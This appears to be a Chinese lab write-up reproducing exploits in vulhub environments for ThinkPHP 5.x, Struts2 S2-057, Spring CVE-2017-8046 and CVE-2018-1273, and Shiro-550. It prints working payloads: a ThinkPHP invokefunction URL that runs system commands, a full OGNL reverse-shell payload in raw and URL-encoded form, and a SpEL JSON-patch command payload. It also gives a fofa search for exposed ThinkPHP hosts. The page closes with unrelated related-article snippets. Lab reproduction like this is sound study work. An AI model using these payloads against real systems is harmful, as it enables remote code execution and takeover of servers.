ThinkPHP5x,struts2等框架靶場復現

Thinkphp

Thinkphp5x遠程命令執行及getshell

首先我們先找一個環境,或者自己搭建一個環境

fofa:body="ThinkPHP V5"

搭建:vulhub/thinkphp/5-rce
docker-compose up -d

然后去訪問我們的環境

遠程命令執行

/?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

遠程代碼執行

/?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1

struts2

S2-057遠程執行代碼漏洞

環境依舊采用vulhub搭建

vulhub靶場 /struts2/s2-057

首先我們先搭建好我們的環境

我們再網址后拼接,并訪問

/struts2-showcase/${(123+123)}/actionChain1.action

可以發現兩個數字相加了,那么我們就可以利用中間來執行代碼操作,反彈shell

首先開啟監聽

然后將中間替換為我們的地址

${
(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#a=@java.lang.Runtime@getRuntime().exec('bash -c {echo,反彈shell命令的base64編碼}|{base64,-d}|{bash,-i}')).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}
url編碼--->
/%24{%0A(%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS).(%23ct%3D%23request['struts.valueStack'].context).(%23cr%3D%23ct['com.opensymphony.xwork2.ActionContext.container']).(%23ou%3D%23cr.getInstance(%40com.opensymphony.xwork2.ognl.OgnlUtil%40class)).(%23ou.getExcludedPackageNames().clear()).(%23ou.getExcludedClasses().clear()).(%23ct.setMemberAccess(%23dm)).(%23a%3D%40java.lang.Runtime%40getRuntime().exec('bash -c {echo反彈shell命令的base64編碼的url編碼}|{base64%2C-d}|{bash%2C-i}')).(%40org.apache.commons.io.IOUtils%40toString(%23a.getInputStream()))}

然后即可反彈到shell?

Spring

Spring Data Rest 遠程命令執行命令(CVE-2017-8046)

搭建環境

vulhub靶場 /spring/CVE-2017-8046

訪問我們的環境,出現這個頁面即為搭建成功

然后開啟抓包,刷新一下頁面進行抓包,修改一下我們的請求方式和請求內容

[{ "op": "replace","path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(newbyte[]{116,111,117,99,104,32,47,116,109,112,47,115,117,99,99,101,115,115}))/lastname","value":"vulhub" }]

然后去我們的容器中看一下,寫入成功

spring 代碼執行(CVE-2018-1273)

按照上述方式按照啟動對應編號的環境

訪問靶場

隨便輸入用戶名和密碼進行登錄然后抓包

然后我們修改一下username的內容,可以看到crz創建成功

那么我們可以借此來反彈一下shell,從我們的服務器上下載一下我們反彈shell的文件

然后去訪問他,反彈成功

Shiro

Shiro rememberMe反序列化漏洞(Shiro-550)

首先搭建環境

vulhub靶場 /shiro/CVE-2016-4437

然后登錄抓包

可以看到有這個字段就說明有這個漏洞,然后我們就可以利用工具來爆破這個漏洞
開啟監聽
下載并運行我們的反彈shell的文件
2

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/pingmian/91787.shtml
繁體地址,請注明出處:http://hk.pswp.cn/pingmian/91787.shtml
英文地址,請注明出處:http://en.pswp.cn/pingmian/91787.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

Hyperliquid:揭秘高性能區塊鏈共識引擎HyperBFT

大家好,今天我們一起探討Hyperliquid這個高性能區塊鏈項目以及它背后的共識引擎。Hyperliquid能在擁擠的去中心化交易賽道(DEX)中脫穎而出,很大程度上要歸功于其高效的共識機制——HyperBFT。 為了徹底搞懂HyperBFT,我…

大模型開發框架LangChain之構建知識庫

1.前言 為了避免 llm正確的廢話和幻覺,知識庫可以說是現在開發 agent的必備了。同時,作為 rag中的 r,知識庫召回的成功率會極大的影響 llm的最終回復效果。一般,會把知識庫召回的內容作為背景知識給到 llm,并在 prompt…

NPM打包時,報reason: getaddrinfo ENOTFOUND registry.nlark.com

先說解決方法:將 package-lock.json 文件中的 registry.nlark.com 改為 registry.npmmirror.com現象:npm ERR! code ENOTFOUND npm ERR! syscall getaddrinfo npm ERR! errno ENOTFOUND npm ERR! network request to https://registry.nlark.com/url-too…

python內置庫os與sys的區別是什么?分別能實現什么功能?

Python 的 os 和 sys 是兩個功能截然不同但都非常重要的內置庫,它們分別服務于不同的交互場景:前者專注于與操作系統交互,后者專注于與 Python 解釋器本身交互。以下是詳細解析: 一、os 庫:操作系統交互接口 os 庫&…

【云計算】云主機的親和性策略(一):快樂旅行團

《云主機的親和性策略》系列,共包含以下文章: 1?? 云主機的親和性策略(一):快樂旅行團2?? 云主機的親和性策略(二):集群節點組3?? 云主機的親和性策略(三&#xf…

USRP捕獲手機/路由器數據傳輸信號波形(下)

目錄: USRP捕獲手機/路由器數據傳輸信號波形(上) USRP捕獲手機/路由器數據傳輸信號波形(中) USRP捕獲手機/路由器數據傳輸信號波形(下) 四、路由器MIMO-OFDM系統 本文深入分析采集手機與路由…

位運算在權限授權中的應用及Vue3實踐

在現代前端應用中,權限管理是一個至關重要的功能模塊。隨著應用復雜度的提示功能,權限細粒度越來越精細,如何高效地管理和判斷權限成為前端開發的一大挑戰。位運算作為一種高效的運算方式,在權限管理領域有著獨特的優勢。本文將詳…

面試實戰,問題二十二,Java JDK 17 有哪些新特性,怎么回答

Java JDK 17 新特性面試回答指南 作為一名Java開發者,了解JDK 17的新特性是面試中的關鍵點。JDK 17(Java SE 17)于2021年9月發布,是一個長期支持(LTS)版本,引入了多項改進以提升開發效率、安全性…

【MySQL安全】什么是SQL注入,怎么避免這種攻擊:前端防護、后端orm框架、數據庫白名單

基本概念SQL注入是OWASP Top 10安全風險之一,它利用了應用程序對用戶輸入數據的不當處理。當應用程序直接將用戶輸入拼接到SQL查詢中而沒有進行適當的過濾或轉義時,就可能發生SQL注入攻擊。攻擊原理假設有一個登錄表單的SQL查詢:SELECT * FRO…

pyqt5顯示任務欄菜單并隱藏主窗口,環境pyqt5+vscode

環境 pyqt5vscode 環境搭建見 https://blog.csdn.net/huiaifen/article/details/125175261 新建一個QMainWindow 1 在VSCode的資源管理器中,右鍵選擇 PYQT:New Form,打開Qt Designer2 在打開的窗口中選 “Main Window”,然后選“創建”3 直接…

SpringBoot項目數據脫敏(自定義注解)

文章目錄前言一.配置1.脫敏類型枚舉:DesensitizeType2.注解:Desensitize3.序列化類:DesensitizeJsonSerializer4.工具類:DesensitizeUtil二、測試:DesensitizeTest三、效果展示總結前言 在互聯網應用中,用戶…

PSO-TCN-BiLSTM-MATT粒子群優化算法優化時間卷積神經網絡-雙向長短期記憶神經網絡融合多頭注意力機制多特征分類預測/故障診斷Matlab實現

基本介紹 1.Matlab實現PSO-TCN-BiLSTM-MATT粒子群算法優化時間卷積神經網絡-雙向長短期記憶神經網絡融合多頭注意力機制多特征分類預測,PSO-TCN-BiLSTM-Multihead-Attention; 多頭自注意力層 (Multihead-Self-Attention):Multihead-Self-Atte…

第一篇:Linux 運維入門:虛擬機部署與基礎環境配置

目錄 一、準備工作與環境規劃 二、虛擬機網絡配置 1、虛擬網絡編輯器設置 2、系統網絡配置 3、主機名配置 三、Hosts 文件與 SSH 免密配置 配置 hosts 文件編輯/etc/hosts文件實現主機名解析: 分發 hosts 文件到其他節點 SSH 免密登錄配置在 zhangsan101 上…

(一)全棧(react配置/https支持/useState多組件傳遞/表單提交/React Query/axois封裝/Router)

文章目錄 項目地址 一、基礎配置 1.1 支持https 1. 安裝所需要的包 2. 配置 1.2 常用 1. 字符串拼接 二、組件 2.1 useState組件傳遞 1. App里初始化useState 2. useState和方法的傳遞 3. 接收傳遞來的狀態和方法 2.2 表單提交 1. 表單組件處理用戶輸入數據 2. App傳來的submit…

【abc417】E - A Path in A Dictionary

Problem StatementYou are given a simple connected undirected graph G with N vertices and M edges. The vertices of G are numbered vertex 1, vertex 2, …, vertex N, and the i-th (1≤i≤M) edge connects vertices Ui? and Vi?.Find the lexicographically smalle…

linux火焰圖

火焰圖簡介火焰圖是一種性能分析的可視化工具,它將CPU的調用棧(Call Stack)信息以矩形火焰的形式展現出來。Y軸:代表調用棧的深度(函數A調用了函數B,B就疊在A上面)。X軸:代表CPU的抽…

解剖 .NET 經典:從 Component 到 BackgroundWorker

1?? 背景與定位在 .NET Framework 2.0 時代,微軟引入了 BackgroundWorker 來解決 WinForm/WPF 場景下“耗時操作阻塞 UI 線程”的問題;而 Component 早在 1.0 就已存在,是所有可視化/非可視化設計器的“基類”。理解這兩者的源碼與機制&…

桌面端界面設計 |貨物 TMS 系統 - SaaS UI UX 設計:審美積累之境

在物流數字化的浪潮中,貨物 TMS 系統的 SaaS 化與 UI/UX 設計正構建著獨特的審美坐標系。這不僅是技術與功能的融合,更是一場關于效率美學的深度探索,為行業審美積累注入了鮮活的實踐樣本。SaaS 模式賦予貨物 TMS 系統輕盈而強大的特質&#…

多架構鏡像整合全攻略:在Docker中實現單一鏡像支持同時支持amd64和arm64架構

多架構支持的挑戰 :隨著異構計算(如 ARM、x86、RISC-V 等)的普及,開發者需要為不同硬件平臺提供對應的鏡像,傳統方式需維護多個版本(如 image:v1-amd64 和 image:v1-arm64 ),導致版本…

Linux730 tr:-d /-s;sort:-r,-n,-R,-o,-t,-k,-u;bash;cut:-d,-c;tee -a;uniq -c -i

回顧 sort sort [選項] 文件-u:唯一,去除重復 -r:按數字大小,倒序排序,大到小 -o:輸出文件 -n:按數字大小,順序排序,小到大 -t: -t后加分割符,按分割符為標準,進行篩選 -k:k后加數字…